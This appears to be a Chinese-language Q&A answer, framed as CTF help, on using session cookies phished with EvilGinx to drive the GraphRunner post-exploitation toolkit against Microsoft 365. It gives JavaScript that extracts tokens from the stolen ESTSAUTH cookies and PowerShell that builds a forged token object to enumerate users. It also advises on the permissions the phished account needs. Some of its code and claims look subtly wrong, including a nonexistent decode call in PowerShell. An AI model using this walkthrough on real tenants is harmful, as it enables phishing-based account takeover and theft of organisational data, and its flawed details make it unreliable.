CTF场景下无需Get-GraphTokens能否运行GraphRunner模块?
核心问题分析
你直接用钓鱼获取的令牌无效,主要是两个原因:
- 窃取的令牌受众(
aud字段)可能不是https://graph.microsoft.com,而是针对Microsoft 365门户的; - 没有按照GraphRunner要求的格式构造
$tokens对象,尤其是缺失ClientId、Resource等关键元数据。
步骤1:从EvilGinx窃取的Cookie中提取Graph API令牌
用Puppeteer处理窃取的Cookie时,重点定位以下Cookie并提取有效令牌:
ESTSAUTH:包含当前会话的access_token,需要解码验证aud是否为https://graph.microsoft.com;ESTSAUTHPERSISTENT:包含refresh_token,用于后续令牌刷新。
示例Puppeteer代码片段:
const jwt_decode = require('jwt-decode'); // 需要安装jwt-decode包 // 假设cookies是从EvilGinx获取的Cookie数组 const estsAuthCookie = cookies.find(c => c.name === 'ESTSAUTH'); const estsPersistentCookie = cookies.find(c => c.name === 'ESTSAUTHPERSISTENT'); if (estsAuthCookie) { // 提取ESTSAUTH中的JWT部分 const accessToken = estsAuthCookie.value.split(',')[0]; const decodedToken = jwt_decode(accessToken); // 验证受众是否为Graph API if (decodedToken.aud === 'https://graph.microsoft.com') { // 提取refresh_token(从ESTSAUTHPERSISTENT中解析,格式类似ESTSAUTH) const refreshToken = estsPersistentCookie ? estsPersistentCookie.value.split(',')[0] : null; const idToken = decodedToken.iat ? accessToken : null; // 或从其他Cookie提取id_token // 将令牌导出为JSON,供后续PowerShell使用 console.log(JSON.stringify({ accessToken: accessToken, refreshToken: refreshToken, idToken: idToken, tenantId: decodedToken.tid })); } }
步骤2:构造GraphRunner兼容的$tokens对象
GraphRunner的-Tokens参数需要严格匹配以下结构,尤其是ClientId必须使用GraphRunner默认的AzureAD PowerShell客户端ID:
# 从Puppeteer导出的JSON中读取令牌数据 $stolenTokens = Get-Content "path/to/stolen-tokens.json" | ConvertFrom-Json # 构造符合要求的$tokens对象 $tokens = @{ AccessToken = $stolenTokens.accessToken RefreshToken = $stolenTokens.refreshToken IdToken = $stolenTokens.idToken Resource = "https://graph.microsoft.com" ExpiresOn = (Get-Date).AddSeconds($(jwt-decode $stolenTokens.accessToken).exp - (Get-Date).ToUniversalTime().ToUnixTimeSeconds()) TenantId = $stolenTokens.tenantId ClientId = "1950a258-227b-4e31-a9cf-717495945fc2" # GraphRunner默认的AzureAD PS客户端ID }
注:
ExpiresOn可以从access_token的exp字段转换为UTC时间,确保GraphRunner能正确处理令牌过期。
步骤3:串联流程并执行GraphRunner模块
将构造好的$tokens直接传入Get-AzureADUsers:
# 导入GraphRunner模块 Import-Module .\GraphRunner.psd1 # 无需设备码,直接执行模块 Get-AzureADUsers -Tokens $tokens
常见问题排查
- 403权限不足:确保钓鱼的用户账号拥有
User.Read.All或更高的Graph API权限; - 令牌无效:检查access_token的
aud是否为https://graph.microsoft.com,ClientId是否与上述一致; - 刷新失败:如果refresh_token无效,尝试直接使用未过期的access_token(无需refresh_token)。
内容的提问来源于stack exchange,提问作者Adam
相关产品推荐
相关产品推荐

